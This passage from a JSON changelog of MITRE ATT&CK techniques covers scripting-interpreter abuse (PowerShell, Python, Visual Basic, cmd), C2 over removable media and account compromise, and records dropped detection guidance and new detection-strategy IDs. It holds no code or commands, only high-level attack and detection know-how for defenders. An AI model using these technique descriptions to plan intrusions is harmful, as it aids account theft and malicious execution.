"description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
"url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
},
{
"source_name": "SilentBreak Offensive PS Dec 2015",
"description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
"url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
},
{
"source_name": "FireEye PowerShell Logging 2016",
"description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
"url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
},
{
"source_name": "Github PSAttack",
"description": "Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024.",
"url": "https://github.com/Exploit-install/PSAttack-1"
},
{
"source_name": "inv_ps_attacks",
"description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
"url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
},
{
"source_name": "Malware Archaeology PowerShell Cheat Sheet",
"description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
},
{
"source_name": "TechNet PowerShell",
"description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
"url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
},
{
"source_name": "Sixdub PowerPick Jan 2016",
"description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
"url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mayuresh Dani, Qualys",
"Praetorian",
"Ross Brittain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Script: Script Execution\", \"Process: Process Creation\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.660000+00:00\", \"old_value\": \"2025-04-15 19:58:52.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n\\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n\\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n\\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\\n-\\n-Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\\n-\\n-It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\\n-\\n-Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program",
"M1045: Code Signing",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0455: Abuse of PowerShell for Arbitrary Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 14:38:24.334000+00:00",
"modified": "2025-10-24 17:49:23.660000+00:00",
"name": "Python",
"description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/006",
"external_id": "T1059.006"
},
{
"source_name": "Zscaler APT31 Covid-19 October 2020",
"description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
"url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.660000+00:00\", \"old_value\": \"2025-04-15 19:59:08.245000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1033: Limit Software Installation",
"M1038: Execution Prevention",
"M1047: Audit",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0063: Cross-Platform Behavioral Detection of Python Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 14:29:51.508000+00:00",
"modified": "2025-10-24 17:49:29.678000+00:00",
"name": "Visual Basic",
"description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/005",
"external_id": "T1059.005"
},
{
"source_name": "VB .NET Mar 2020",
"description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.",
"url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"
},
{
"source_name": "Default VBS macros Blocking ",
"description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.",
"url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"
},
{
"source_name": "Microsoft VBScript",
"description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.",
"url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"
},
{
"source_name": "Microsoft VBA",
"description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.",
"url": "https://docs.microsoft.com/office/vba/api/overview/"
},
{
"source_name": "VB Microsoft",
"description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.",
"url": "https://docs.microsoft.com/dotnet/visual-basic/"
},
{
"source_name": "Wikipedia VBA",
"description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.",
"url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: Process Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.678000+00:00\", \"old_value\": \"2025-04-15 19:59:14.314000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content",
"M1038: Execution Prevention",
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program",
"M1049: Antivirus/Antimalware"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0012: Script (Script Execution)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0076: Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 14:12:31.196000+00:00",
"modified": "2025-10-24 17:49:25.722000+00:00",
"name": "Windows Command Shell",
"description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/003",
"external_id": "T1059.003"
},
{
"source_name": "SSH in Windows",
"description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.",
"url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.722000+00:00\", \"old_value\": \"2025-04-15 19:59:10.209000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0202: Behavioral Detection of Windows Command Shell Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:09.379000+00:00",
"modified": "2025-10-24 17:48:52.106000+00:00",
"name": "Communication Through Removable Media",
"description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1092",
"external_id": "T1092"
},
{
"source_name": "ESET Sednit USBStealer 2014",
"description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
"url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Creation\", \"Drive: Drive Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.106000+00:00\", \"old_value\": \"2025-04-15 22:06:39.028000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media is mounted.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0016: Drive (Drive Access)",
"DS0016: Drive (Drive Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0090: Cross-host C2 via Removable Media Relay"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:17:15.965000+00:00",
"modified": "2025-10-24 17:49:02.015000+00:00",
"name": "Compromise Accounts",
"description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1586",
"external_id": "T1586"
},
{
"source_name": "AnonHBGary",
"description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
"url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
},
{
"source_name": "Microsoft DEV-0537",
"description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
"url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.015000+00:00\", \"old_value\": \"2025-04-15 22:07:30.871000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0021: Persona (Social Media)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0876: Detection of Compromise Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-05-27 14:30:01.904000+00:00",
"modified": "2025-10-24 17:48:41.215000+00:00",
"name": "Cloud Accounts",
"description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1586/003",
"external_id": "T1586.003"
},
{
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
},
{
"source_name": "Awake Security C2 Cloud",
